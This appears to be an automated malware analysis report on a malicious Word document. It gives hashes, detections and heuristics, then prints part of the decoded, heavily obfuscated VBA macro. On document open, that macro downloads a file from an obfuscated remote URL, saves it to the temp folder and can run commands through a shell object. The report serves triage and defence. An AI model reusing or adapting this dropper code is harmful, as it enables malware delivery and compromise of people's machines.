Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a027508f8c417c7f…

MALICIOUS

Office (OLE)

287.5 KB Created: 2018-06-05 08:55:00 Authoring application: Microsoft Office Word First seen: 2019-05-10
MD5: 7e2421281bc7e2429a8e72819d900ce8 SHA-1: f78fd3d2668a71101c1472223ecb4dc31d231306 SHA-256: a027508f8c417c7ff58c8e58ed7b1834cd3f626150fe5095d716a874647d0b81
292 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is a malicious Office document containing obfuscated VBA macros. Critical heuristics indicate that these macros are designed to download and execute a file from a remote source, consistent with a dropper functionality. The presence of a Document_Open macro and CreateObject calls further supports this malicious intent.

Heuristics 9

  • ClamAV: Doc.Dropper.Emodldr-6755244-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Emodldr-6755244-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            wGLEvL = FplOIs.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set zveyyC = CreateObject(NZnxb("WbS cfrzi!pzt@.#SghuetlHlE"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set zveyyC = CreateObject(NZnxb("WbS cfrzi!pzt@.#SghuetlHlE"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 49491 bytes
SHA-256: a1c2e6cd0ff04ba215ccddc8cb6894084d6f92472672eea9834cdecc78358a0c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
523 of 781 identifiers look randomly generated (e.g. 'HzTvdGupfJtCmUigYkVLzpauGlTQnNGUAjOEEaba') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub gLtGrr(FBdugR As Integer, JqAhBu As String, wEWMXfe As Boolean)
    RxmnB = Right("p.kWN?kBs_]", 3)
    RxmnB = UCase("cjLBxTPh]^Bfl[eOW")
    HCcGzGKm = Left("ru-Aae_woGFMqPrq", 4)
    TZsxPIb = LTrim("FZWbfrhrmyIfVkhVAoB")
    XICQpov = Space(16)
    taZwbZ = Left("WtFnjHtq[@R", 2)
    While AaKEOP < 250
        XICQpov = LTrim("vzijp&AuKi!ju#")
        XICQpov = Left("*(]($l]JuCKtB[", 3)
        TZsxPIb = Space(5)
        DuOZJ = 360 + 1199 + 460
        TZsxPIb = UCase("-ayMQeUDkfazJzddJ")
        XICQpov = UCase("gWxjhtQP@Oo")
        dlHZEyET = UCase("ZJaiHtgtcu")
        taZwbZ = Right("?Lgfdqkm^xVq-M", 5)
        AaKEOP = AaKEOP + 3
    Wend

    kpYSXOm = Space(2)
    RxmnB = LTrim("@l[dN-yM&HVW")
    While uJySpD < 146
        TZsxPIb = Left("hOrR%um&oRxP%g[wUQ", 3)
        RxmnB = "CWlnF$p@CT" + "#A[Fx$.UYI((yrk[zj" + "wrGXuAfPwM a$eg"
        BXAhc = Space(15)
        kpYSXOm = Left("TQ#oTS?yO(iFdP$QnEC^", 2)
        dlHZEyET = LTrim("USQ )Bm-qOnGjkumhN(R")
        RxmnB = "ldzyxzG$FO" + "aTtsb@jZZeMx" + "Q$r(w]XkcJxf"
        dlHZEyET = LTrim("jD!hwAyZETA")
        uJySpD = uJySpD + 1
    Wend

    XICQpov = Space(6)
    dlHZEyET = 582 + 1502 + 480
    kpYSXOm = UCase(".s^AT?u bF&XyrS*XpWo")
    TZsxPIb = UCase("Gu]a[b gcz?dvEi")
    dlHZEyET = RTrim("!-aI(L!!MA")
    DuOZJ = StrReverse("o!SblSgkQQOFxfn.")
    taZwbZ = RTrim(" MGbbALC!EuF kA")
    BXAhc = Space(12)
    BXAhc = StrReverse("ZaG(@)KdV#iGVJLi")
    RxmnB = Right(".TTL]qN$gZ", 2)
    BXAhc = LTrim("&xAwgVk)WCN*Paj")
    While AahnNk < 233
        DuOZJ = "FSSsUXwnaEWaB^m" + "OU)DdZFTq?a" + "N(cB^&LqjlkfBd"
        TZsxPIb = Right("b]Pd.TVyy&", 3)
        RxmnB = UCase("D uAw[lx(W")
        RxmnB = RTrim("!#%D$o#GUQ_g.HCy%J")
        TZsxPIb = 165 + 1721 + 1547
        XICQpov = 1318 + 1831 + 245
        AahnNk = AahnNk + 3
    Wend

    XICQpov = RTrim("zq!(?@mBwL[)J#")
    BXAhc = UCase("@M$iGL^bxd.MWs")
End Sub

Private Sub cTMgfxG(KIvNXU As String, lbDNWpO As String, DcvHcLr As String, UIjcspq As String, OFUPKw As String)
    taZwbZ = UCase("vXS$.Mh]gcZesvBE#oHr")
    Set zveyyC = CreateObject(NZnxb("WbS cfrzi!pzt@.#SghuetlHlE"))
    zveyyC.Run KIvNXU, 0
    BXAhc = Right("% ddWRu[B[Up-", 2)
    BXAhc = RTrim("URY@PqEVAh&v-hGtUh")
    XICQpov = "LXb$?nknxdY D" + "Xas!CJ&gZ.v[BS_N%i" + "-Lp[% jvvN($#nXVji@"
    dlHZEyET = StrReverse("qCgEI&F$RuzDpK?")
    TZsxPIb = 651 - 1217 - 242
    XICQpov = Left("kgy&*g^]gYajJsQWv[", 2)
    For HbDOyw = 0 To 107
        DuOZJ = StrReverse("])*OCrX!#LOfwe$Ekg")
        kpYSXOm = Space(4)
        BXAhc = UCase("IFn%MPzJALGs")
        dlHZEyET = 1129 - 1578 - 1668
        BXAhc = UCase("lIX$lq*F (PEvX")
        BXAhc = Left("JGYuB?Vi.c#bjoGQOw%", 2)
        TZsxPIb = "M-e*)$ w%@@" + "m*!D*iMmmKBKh" + "P-B.!D&ZEmWvfTjTg"
        XICQpov = Right("RsbNexd[R[xeQWt", 2)
        dlHZEyET = "j nzWSUmoE" + "z&O_h?&qk[_N_M" + "ah(J*OO-h(_eSW_"
    Next HbDOyw
    TZsxPIb = Right("Na!AiP&v$QA^Aa-W%", 2)
    taZwbZ = RTrim("jq#SDiRWNForD&XVNwp-")
End Sub

Private Sub txTWJL(qzfkpUV As Integer, snQInHU As Double, GUIYWVj As Double, PrXTtZj As Double)
    While BpKJqD < 166
        DuOZJ = 370 - 777 - 1820
        taZwbZ = UCase("%%ffYtThLvQgScfP")
        HCcGzGKm = 1039 + 1860 + 1911
        dlHZEyET = Space(6)
        dlHZEyET = Left("wcBtd!wBi[LzTZihlI@", 4)
        HCcGzGKm = LTrim("i[ECgB*lpUIn")
        BpKJqD = BpKJqD + 1
    Wend

    TZsxPIb = "hn $QLE pC" + "QjkxCTTotDK?^vh" + "ULxE.cDqhGGeRn"
    DuOZJ = Left("bf%NUU(%ogI-OrudB*", 4)
    RxmnB = Space(7)
    kpYSXOm = LTrim("hviCzlhWNxEpY]VPh")
    DuOZJ = "fIEP)a?lVRV&.IrD" + "V@N[Hs.YHPk)FbD" + "uUHqI.qYRMxspSCR"
    BXAhc = LTrim("Q(hCngla]OzD*.woq RB")
    BXAhc = 143 - 1232 - 1538
    XICQpov = "ALfR j?KIF^" + "B?^K[D[o^LACROAOMq" + "dKd$JGh !]#FN"
    kpYSXOm = 140 - 1823 - 208
    dlHZEyET = Left("jVB-(Vjqhrak.?y$eTgR", 4)
    DuOZJ = "Z-cws*BYv#A^" + "PDF[EXL-ZV_E" + "Yv^N-km*LoG)xTH*_ "
    TZsxPIb = RTrim("PYH?fY.hKkc! wE$f")
    HCcGzGKm = RTrim("Llx#JlS-HkVTclfo")
    DuOZJ = Space(4)
    dlHZEyET = RTrim("f%z)rhBi)IK)x@NbF.")
    RxmnB = LTrim("^HIjm?mJ)?o")
    RxmnB = Right("Vz%hpHphr*h(eP^", 5)
    For WZfgca = 0 To 391
        TZsxPIb = UCase("lJ*?avl]CL&fUywt")
        BXAhc = Left("DG?xl%h^@VNnkL", 3)
        DuOZJ = StrReverse("[V juKw_W_WTUBtv")
        BXAhc = Left("VHy.J$tLka)A%x)]", 4)
        kpYSXOm = UCase("iKi$(B(t[-kjev?")
    Next WZfgca

    While mTZycI < 330
        TZsxPIb = LTrim("EleO twMRhuA!Gf")
        BXAhc = RTrim("(u)UANywjaG$AMzhG")
        TZsxPIb = 232 - 366 - 1287
        BXAhc = "$vTADNat@MZb" + "gdGR]jiI@AAXCY!_QbEX" + "I$w@LH@RydjqU"
        TZsxPIb = 1014 + 719 + 1455
        DuOZJ = "GE]yK-OFda G!F&z" + "$Vxi.qnuJdvEw" + "r&k]!KR*qQgeG[OBv"
        kpYSXOm = RTrim("wc(BNT&u.Rs")
        RxmnB = 578 - 1654 - 210
        HCcGzGKm = 1356 + 1298 + 415
        BXAhc = 689 - 990 - 1972
        mTZycI = mTZycI + 1
    Wend

    dlHZEyET = Right("a?&UxNDOSUOyxisQVHe", 2)
    kpYSXOm = 1431 - 672 - 393
    dlHZEyET = "gO]eBxfwFBd^" + "ITftnV?qhEYf%Yji]Vj" + "c&WFsZ!ZXwQeH"
    taZwbZ = 1045 - 1587 - 1516
    BXAhc = RTrim("wYcPyOObJwpLbUfI")
    DuOZJ = LTrim("WX_jW(y-$vaENSz")
    XICQpov = Left("AB#YGHTC.Nbs[I", 3)
    TZsxPIb = 287 + 530 + 1725
    XICQpov = "zGcD)#VZVB-n )e%o" + "NnOMkkKcnSBkVA$" + "blvDXl(WklN[DVQeb"
    While WlYWdF < 174
        TZsxPIb = "vwU%-XkQoT[OY" + "xfTAC%rK(pV(]Z-RNYqH" + "v.tL&I*uPoN"
        kpYSXOm = RTrim("JA-$ek&wwyxfu@hpUN?L")
        TZsxPIb = 774 + 395 + 1507
        BXAhc = Space(10)
        DuOZJ = 1211 + 1504 + 930
        BXAhc = Space(13)
        kpYSXOm = Right("F^Tm[%rK#sK)n", 2)
        DuOZJ = UCase("EVoAiO*I#Wm$o$!Gc^")
        WlYWdF = WlYWdF + 1
    Wend

    TZsxPIb = Left("zjF_NEtPC?@^PM%k!Ju", 3)
    dlHZEyET = LTrim("-^eNwYcK^af!@[pk")
    BXAhc = LTrim("SO]&U?!lyYpzM)u")
    HCcGzGKm = Left("qu[MYJAM?(uJ_e!Qs$AY", 5)
    BXAhc = Right("HRX.RGsH.d_Tl-Whq", 4)
    kpYSXOm = UCase("A%hB]#Jqj@NGQDsenPC")
End Sub

Private Sub Document_Open()
    Dim mKseCNw As String
    kpYSXOm = RTrim("qVpOMHUJ^l")
    kpYSXOm = Left("rD%QwSBZjPyc", 2)
    HCcGzGKm = 424 + 1941 + 146
    kpYSXOm = Space(18)
    While LRkLrN < 223
        BXAhc = UCase("xZQ?dtKDBMr")
        dlHZEyET = Right("vt&rPdr^Oae%e", 2)
        LRkLrN = LRkLrN + 2
    Wend

    HCcGzGKm = Left("U_ai[V!pTf.Q", 4)
    taZwbZ = LTrim(" Z[.Sq[wrvY")
    HCcGzGKm = RTrim("yQYLI?RCk(sG[butqdv")
    Set hObKAr = CreateObject(NZnxb("sTcvryikp)tni nzgY.ff&i(lNecs yEsNt]eDmcoobijkeNcEtj"))
    dlHZEyET = LTrim("?Eeb.FBI&RoLBjt-g")
    BXAhc = Right("Q^%I)IhAQ]JhEIZFR!i", 5)
    taZwbZ = StrReverse("WiC)p[.#g]JU_.)^hWRc")
    RxmnB = "!!Aa^.TOb[I" + "mbVY-nMFHsGbRt$hD" + "^*f.nF*GbJ$$]V TC"
    HCcGzGKm = UCase("S W-&)Rcj)xc(IUB")
    taZwbZ = UCase("#.IF(IWipKV")
    BXAhc = Right("xZAu?V^LGypApEtK(", 2)
    kpYSXOm = UCase("][eXP%g%setv")
    CsQRUOnq = hObKAr.GetSpecialFolder(1 + 1)
    taZwbZ = RTrim("E[z#aBQz#fuKzRmbN^z]")
    While zAdDjf < 32
        XICQpov = Left("*rxIhyLYDWyyv", 5)
        HCcGzGKm = LTrim("wU&B_q O vbC")
        XICQpov = Right("hc(Ek.-NXLp", 4)
        RxmnB = "YKSdZiyuG& GH" + "%?SDL(VYuMu-cs" + "xtaOgi%Ie#[&OM%e"
        BXAhc = 1616 - 1602 - 1823
        HCcGzGKm = UCase("n_XW-iGiqud(")
        TZsxPIb = 1493 - 1757 - 1105
        HCcGzGKm = UCase("fFOFcqoS?Jo")
        zAdDjf = zAdDjf + 1
    Wend

    dlHZEyET = Right("OKOjCQfVb_tJW", 3)
    dlHZEyET = 1491 - 1446 - 149
    dlHZEyET = LTrim("CwfBOeGY_DsVjEPIa")
    TZsxPIb = LTrim("GRmatmRXR[&?PQ")
    HCcGzGKm = StrReverse("pOhJbwpQ(fi(UW[M")
    TZsxPIb = Right("jM LeaYtySPI?hW_", 4)
    mKseCNw = StrReverse("#eixNeK.iX?H&Httzl")
    kpYSXOm = LTrim("-VDfEYq_XF^")
    RxmnB = Right("F p!Jt^j)w^mnRkqUtT", 2)
    BXAhc = RTrim("s?(@eY..^niHhGqDlwA")
    HCcGzGKm = StrReverse("EdtN$o_DHO")
    TZsxPIb = 917 + 369 + 1971
    BXAhc = StrReverse("CfO?oCXQxswggDK")
    TZsxPIb = UCase("r*IxXcV m^")
    kpYSXOm = Space(16)
    While XmCBkb < 129
        kpYSXOm = "&ofHb.iBs?j" + "gdw..US-jEhTbFRbL-j" + "TWjXwa_jEkYZQkf^nB"
        dlHZEyET = RTrim("eR.GqtDT *uQSS#dfy")
        TZsxPIb = Left("HxbZVPCw_r", 4)
        HCcGzGKm = 1912 + 334 + 326
        XICQpov = StrReverse("$sJz#de.B*tD!U")
        DuOZJ = Right("w@sIusXlpE&g", 2)
        kpYSXOm = 1563 + 1511 + 173
        dlHZEyET = Space(7)
        BXAhc = StrReverse("LsOGBBwQ%)Hz")
        TZsxPIb = Right("vCtMVOtGXXlSi", 3)
        XmCBkb = XmCBkb + 2
    Wend

    XICQpov = Left("xL fKPA*pe&)Zt", 3)
    XICQpov = RTrim("ws]El%JAkZyhQ]W")
    RxmnB = UCase("u-#zYIRoppCA")
    While RkAXNb < 47
        TZsxPIb = Left("ZmzfOFOMG)(", 4)
        taZwbZ = "u&n$DXhNbh@fe" + "GtEMOf]^SliG" + "oIB.wxV[MFKL&"
        RkAXNb = RkAXNb + 1
    Wend

    dlHZEyET = "JUMm&hKW#AE**" + "h!xdGl(zd-c^zk-zR@" + "PQeXcR.F&_PO"
    XICQpov = 771 - 1371 - 1152
    XICQpov = 1364 + 1994 + 1648
    While XcUfLe < 127
        BXAhc = Left("(qbDUFFscFHzIcftyLR-", 4)
        BXAhc = RTrim(" iBlpzki&i")
        XcUfLe = XcUfLe + 2
    Wend

    DuOZJ = 352 - 977 - 1790
    XICQpov = RTrim("%*KqLCA$.o(v-XJCPu")
    XICQpov = Left("MLZyTDIjykpm$].&", 2)
    XICQpov = 226 + 1486 + 1955
    Dim FplOIs, VSpDqxnh As Object
    kpYSXOm = UCase("evd[XZA.hnm")
    TZsxPIb = 1224 - 1242 - 1867
    While ZODLMF < 279
        kpYSXOm = Right("#$Xk g%@zhD", 4)
        taZwbZ = "@sMvSzEw)r$kSC" + "wyEci.Fhv-[SUrPl" + "J_r (tU#AX*-zC"
        ZODLMF = ZODLMF + 2
    Wend

    DuOZJ = 275 + 1106 + 359
    RxmnB = "ZMN-afUosIy" + "Wk[svpcjaOT]woqN]O#E" + "]DmOIon!-G"
    While nfpnwq < 55
        HCcGzGKm = LTrim("[fTbMdDCDn$*%N-")
        taZwbZ = StrReverse("saX[(y$ayfpOJv[")
        nfpnwq = nfpnwq + 2
    Wend

    Set FplOIs = CreateObject(NZnxb("Mdi-cmrro[sWokfnt*.AXbMQLdH$TmTLPH"))
    DuOZJ = LTrim("RmuK@mxM[SSz(usowx")
    DuOZJ = Space(12)
    dlHZEyET = "SEbkJ!Zl!eLZ&XmmUln" + "EohmKzLbUpeq*& sd[K$" + "hMl)LSYJgFEVM[kXjZMY"
    RxmnB = 636 - 1514 - 1456
    BXAhc = Space(14)
    HCcGzGKm = "yP-toAJZx$#CS" + "X#_ ed$.BKy(d" + "E_gmbu@-dPZdV@o"
    For CpKkJi = 0 To 398
        taZwbZ = Space(13)
        DuOZJ = 1019 - 1173 - 1383
        dlHZEyET = RTrim("reX]lqL(EItZ")
    Next CpKkJi

    RxmnB = Left("YDh^nE[hYE*M*MB", 5)
    BxTplNt = NZnxb("hWtBtip]:T/T/-ads[s%ejtssBoRpVt(iuoGnD.HcGo#mT/]mba*xcixtm.ieJx&er")
    XICQpov = LTrim("DYQKlTEdlP@gP")
    BXAhc = LTrim("b!!t.f!tBC")
    dlHZEyET = RTrim("rZ!YGayqQcqXQ.#Z")
    TZsxPIb = RTrim("NwAl-oEDEvi&]-NI")
    For Uurgwc = 0 To 105
        HCcGzGKm = Left("Io%FE-xiWz#*N*O]E", 5)
        XICQpov = LTrim("rtPAw?JYltXWSFZ")
        HCcGzGKm = UCase("^x%D )cQ)o")
    Next Uurgwc

    BXAhc = Left("e[(_gKnCMKHv*)QLx", 5)
    BXAhc = RTrim("oqQJSOqdro$dM")
    taZwbZ = Space(18)
    FplOIs.Open "GET", BxTplNt, False
    XICQpov = Right("&$SYd)n*FYZiwVSM", 3)
    kpYSXOm = RTrim("I&%reT&FMo[)")
    dlHZEyET = UCase("dXr aJ**.W-KqfVCAcsQ")
    TZsxPIb = Left("qWE*hy^#%b)!)KS", 4)
    RxmnB = Left("c-.lctteOobNe", 2)
    BXAhc = ".A#S*#clzk" + "Oew?IoAwYv&" + "Vh.Va%Fml-!awsHdv"
    DuOZJ = Left("NlmOFEGhov(W(rG.c", 4)
    XICQpov = UCase("qEJoG# hc&e[b")
    TZsxPIb = Space(10)
    FplOIs.send
    kpYSXOm = StrReverse("?YMKwvDQqommF")
    While BDgSAu < 75
        taZwbZ = StrReverse("CUJqienh)ssp")
        BXAhc = Space(8)
        DuOZJ = 403 - 259 - 1403
        dlHZEyET = RTrim("Gfch#BnDOj")
        dlHZEyET = StrReverse("mlUTX_&HDqPlRGaPQHvj")
        DuOZJ = RTrim("Y^W#Es_V!-#Kqfveiz")
        BXAhc = Left("l]X^ aBpTm", 3)
        BDgSAu = BDgSAu + 1
    Wend

    HCcGzGKm = Left("BEnlPu?].lR[g)u!UW)", 5)
    RxmnB = "bQM_GikUYz-wc?C.F" + "o)Yt%k$[%x]C)^" + "yGCSej&tdkFmHKF"
    RxmnB = LTrim("!MqEbjRGeWzmc")
    XICQpov = UCase("JLLvvweVDxW@y.")
    XICQpov = Space(4)
    RxmnB = "(ARsjtDek#Jd[RaaufK" + "Mn(grmsu[rU^" + "xLPYEV]#hsfSLhU.!cT"
    While BTFcfa < 287
        HCcGzGKm = Space(7)
        kpYSXOm = Left("eFOxIqD]zL]yH", 5)
        HCcGzGKm = Right("PGb-sfJq_H]#PaS", 4)
        BTFcfa = BTFcfa + 2
    Wend

    taZwbZ = UCase("ovJVYDPZ]nsSz")
    If FplOIs.Status = 202 - 2 Then
    For RPUwfA = 0 To 359
        dlHZEyET = RTrim("c!ZjQU[V(a?%r&_Lf$R")
        kpYSXOm = "Cnh?_lPs[I#]" + "_SOfb[Hxg(]uWMASNooW" + "&$@XN)tjOYwEAl.DkqXZ"
        RxmnB = Space(7)
        XICQpov = Space(8)
        taZwbZ = RTrim("WP)Tu[i?!%Q")
        RxmnB = StrReverse("%[o^jhaB @g.nXA#@N")
        BXAhc = 496 - 290 - 1347
        DuOZJ = Right("r_E_ppTvGEt-GLiZ]Odv", 3)
    Next RPUwfA

    kpYSXOm = Left("Nwn-JR^@FFMD*Gf-#$[-", 5)
    XICQpov = UCase("aeZ&aKJL[azUz*A*dfG")
    TZsxPIb = LTrim("lIYG]kZ#iLhSPjtF@bz^")
    kpYSXOm = Left("ylShh[dTfMg@]", 2)
    DuOZJ = RTrim("L_kPR)AiR]k[j")
    For dmcPIH = 0 To 27
        BXAhc = 152 - 1933 - 1434
        taZwbZ = RTrim("PGB(FCa#! Y%#MI.s")
        BXAhc = 551 + 1730 + 1006
        BXAhc = StrReverse("$&qEhteOY)rKSkF%MIM")
        taZwbZ = RTrim("]I[lCq!Jq@F")
        HCcGzGKm = Space(14)
        dlHZEyET = Space(20)
        BXAhc = LTrim("*nOBgU.ItO@")
        DuOZJ = 1465 + 1075 + 615
        dlHZEyET = Right("[eNIHFmpz(", 3)
    Next dmcPIH

    While BLmAZP < 120
        taZwbZ = Left("G^xnOXw^&HH", 2)
        RxmnB = LTrim("ZkQUA T#n$)xXieyHMxq")
        DuOZJ = Space(1)
        BLmAZP = BLmAZP + 3
    Wend

    dlHZEyET = 913 - 1560 - 940
    For Xyuuxo = 0 To 388
        dlHZEyET = RTrim("FxzrOMOAVMtJ]CU")
        DuOZJ = "Sxd&w^oyqQ@LEi$lE]" + "oaf$]f)_P?Cq&[nl" + "l@LC^uk$bnqTf"
    Next Xyuuxo

        Set VSpDqxnh = CreateObject(NZnxb("A*DvO-DtBZ.fS#tsroefaIml"))
    kpYSXOm = RTrim("nP!ssJKl(!!zQ")
    HCcGzGKm = LTrim("IyPG_-lSpphxGY$RX")
    taZwbZ = Space(9)
    RxmnB = 1645 - 1875 - 112
    TZsxPIb = LTrim("FFe_]D*UqRiDpbliC(Y#")
    TZsxPIb = LTrim("odPXvIT%grv")
    For rEOpMn = 0 To 281
        TZsxPIb = 143 + 1105 + 1553
        HCcGzGKm = 1931 - 1620 - 448
        taZwbZ = "Bww[HPdm#p" + "D?HBk@FHsdzgwCJi" + "]Qi$RMHgkwjQQcGcH"
    Next rEOpMn

        VSpDqxnh.Open
    DuOZJ = LTrim("K]-)dM^nQ#BpHL)")
    HCcGzGKm = StrReverse("OdCyxXNs#Db_tTbK-o")
    BXAhc = StrReverse("&upfq*$PnYDJ]INlH")
    For thKRWy = 0 To 15
        taZwbZ = Space(6)
        dlHZEyET = 114 + 748 + 828
    Next thKRWy

    For LUywiy = 0 To 190
        dlHZEyET = StrReverse("aXL@WYVoA%-")
        XICQpov = 1068 + 818 + 1542
    Next LUywiy

        VSpDqxnh.Type = 2 - 1
    HCcGzGKm = Right("L&P$]wH&AnMAqLy__.", 5)
    RxmnB = LTrim("$)n@?^AT.QpW[")
    For pOcJrt = 0 To 127
        XICQpov = RTrim("*&on&fwyg*Rl$MS[-")
        RxmnB = 287 + 1084 + 973
        XICQpov = Left("xGxNkCHPC.jjhfS", 3)
        XICQpov = StrReverse("W?Lw UALmdyLEz")
        kpYSXOm = "xHoyOtJYNfQ ZU" + "S@TDwPjSaNJ#aJI&!tb" + "[robgK)i@a)VN[r#"
        DuOZJ = Right("nD&NJc?c#]j!!a", 2)
        RxmnB = Right("d&GIxsCcXC@", 3)
        TZsxPIb = RTrim("-qeJisHmVBti_O%e #")
        taZwbZ = StrReverse("e%ttQa[nac[C)L^Up")
        HCcGzGKm = "?@M UJuc%B?e" + "UNC@OmcJe.xAqxj$" + "WWSM&wJmFT.UzB?ZU^"
    Next pOcJrt

    kpYSXOm = Right("HS&HPZdTh OepUl?", 4)
    For pMXaZX = 0 To 160
        TZsxPIb = 1406 + 341 + 1691
        HCcGzGKm = Right("OySyvgLjIYsW_Onh", 5)
    Next pMXaZX

        wGLEvL = FplOIs.responseBody
    TZsxPIb = Right(".w_yRAv]Y[B", 4)
    DuOZJ = Right("*rRU)-GiSx$", 4)
    BXAhc = LTrim(")waa cXwG_[h-n_!")
    RxmnB = "LMHd(ySx(OFCrOjV" + "A_]xwT@DSoUq#qU" + "gk@-cmnro$(z_tsF"
    While tAbQlw < 381
        RxmnB = RTrim("dmVcOokTF-Lk-Y$BK")
        kpYSXOm = Space(16)
        taZwbZ = Space(4)
        taZwbZ = LTrim("SeBJ)SR-.t]z.TRp")
        TZsxPIb = 829 - 1426 - 1569
        RxmnB = "nQ[xplZhhKP@V%ZH$" + "yD[C# eR&bvmj%WDnL.l" + "i.^$GEPkMrcLjrhrM"
        DuOZJ = StrReverse("AXNXZyXtrSPh")
        dlHZEyET = StrReverse("m c HdEReMx t")
        tAbQlw = tAbQlw + 3
    Wend

    dlHZEyET = Space(5)
        VSpDqxnh.Write wGLEvL
    HCcGzGKm = StrReverse("#lJPqI)klO")
    RxmnB = 1540 + 961 + 1775
    taZwbZ = UCase("cn]J&ZKtcOBvsZB")
    kpYSXOm = LTrim("]]^[dG@TRi.-gNmEg(G%")
    HCcGzGKm = StrReverse("FoOlpbJG)V-m")
    dlHZEyET = "(nqcnvWrf^XysICd" + "QGyNePM^OI)AD$JM!" + "$I*u^mUdvsCpV) oA"
    TZsxPIb = Right("I]tAzF%Ai?[*#&igO", 5)
        Dim PCqnp As Object
    While fymHtT < 334
        taZwbZ = StrReverse("lKRKkArCfFb")
        RxmnB = LTrim("GKDnNd@gjBo")
        RxmnB = Space(19)
        HCcGzGKm = RTrim("AxJou))GQD^BzJp(")
        taZwbZ = 841 - 1298 - 405
        BXAhc = 1333 - 1998 - 1495
        dlHZEyET = UCase("T((?goA( t@*Qnt")
        BXAhc = "e ZmVl^pT]k(YxuH(%.%" + "P!Mqae-[Qs S?PkeAT" + "H]^Uf?Kp hkz^*W@t]g"
        kpYSXOm = RTrim("GiU)!tYDQmGHA")
        XICQpov = "LqPwD X#_eb" + "VXkKjhQRc$W[" + "%kKauOoy$Q"
        fymHtT = fymHtT + 1
    Wend

    BXAhc = 1817 + 1448 + 617
    taZwbZ = RTrim("fpnuEl@$HBhw.YEo")
    HCcGzGKm = Left("ve?eLtquvKHl*tmebJy$", 3)
    For nPQlnl = 0 To 384
        TZsxPIb = 1058 - 232 - 1504
        BXAhc = Right(".FN@EqjNObfOjOuhY", 4)
        TZsxPIb = Left("J-H@klayr&JG]", 2)
        DuOZJ = RTrim("?J.BdNuU**&jUGm")
        DuOZJ = Left("$i@Ap?caZ(*s zhcu^", 2)
    Next nPQlnl

        Set PCqnp = CreateObject(NZnxb("sRcnrSiNp&tAiynUgq.CfiiTl#ees^y]sAtBeAmGoIb*jPeWcXtM"))
    taZwbZ = Right("[[b[[AH-WdaWL.DUe ", 3)
    DuOZJ = "FHnI&#wH].JON[^Vi@(" + "KfbGnCzmPuxRU PTl" + "m dtiEjvOShoLyUPX( "
    dlHZEyET = LTrim("cJ#%bMPJCbgB GM ")
    dlHZEyET = 1658 + 1611 + 347
    XICQpov = RTrim("z-k@(LI-?wJnT")
    RxmnB = StrReverse("Qry$J-!GwDY[g")
    RxmnB = LTrim("l^r@RP?y.hN")
    kpYSXOm = UCase("!lmzWiEztHhw?")
        xpwgVSr = PCqnp.GetSpecialFolder(6 - 4)
    kpYSXOm = LTrim("c?Uwm#Q@.WiHT?LHbFr")
    While WJKJIG < 290
        taZwbZ = Left("JhvAY^j&o#L", 3)
        RxmnB = 1940 - 992 - 1304
        TZsxPIb = Left("d?fzxebgmguXux-satNw", 5)
        HCcGzGKm = Right("^Udz%^)BU*MbRP", 3)
        dlHZEyET = 449 - 856 - 1674
        WJKJIG = WJKJIG + 2
    Wend

    BXAhc = Right("TOVmMAUri[zV", 5)
    BXAhc = 473 - 190 - 1199
    TZsxPIb = RTrim("-[bIBeuMjUY")
    XICQpov = "q](bg&znMng" + "arF*cJml%tT" + "!fblQVJpC [mfTk!ch"
        Call VSpDqxnh.SaveToFile(xpwgVSr & "\\" & NZnxb("l_t.HuHWXV.oe(xqeK"), 2)
    RxmnB = UCase("e*bS]ACVwe&%J?T?R")
    DuOZJ = Left("[-n*?iDNpY.(uyUN", 4)
    While pPNcsv < 80
        RxmnB = LTrim("sYlg_Xwi-GgAEPWR_O&!")
        BXAhc = Right(")MgqKBPNblBgjQdE", 2)
        taZwbZ = RTrim("yloOv-w^QJJyQY")
        HCcGzGKm = Space(15)
        XICQpov = 1766 + 1804 + 127
        pPNcsv = pPNcsv + 2
    Wend

    dlHZEyET = LTrim("gkXdoNx)cbZY_!CiQ]X!")
    dlHZEyET = StrReverse("^MmoDezFI?K[cvx")
        VSpDqxnh.Close
    taZwbZ = Right("ufnX]oHCbpsr", 5)
    TZsxPIb = Right(")nQSBGzLAYft", 5)
    TZsxPIb = "h_rLM^V XA%mP[RE[" + "FZ@xIL]Vgo@hJP" + "y@a_l!ETM%"
    kpYSXOm = UCase("gnPjqS-?[eu")
    RxmnB = 1499 + 540 + 1923
    RxmnB = Right("cyhubr!(acTRpqikg-h", 3)
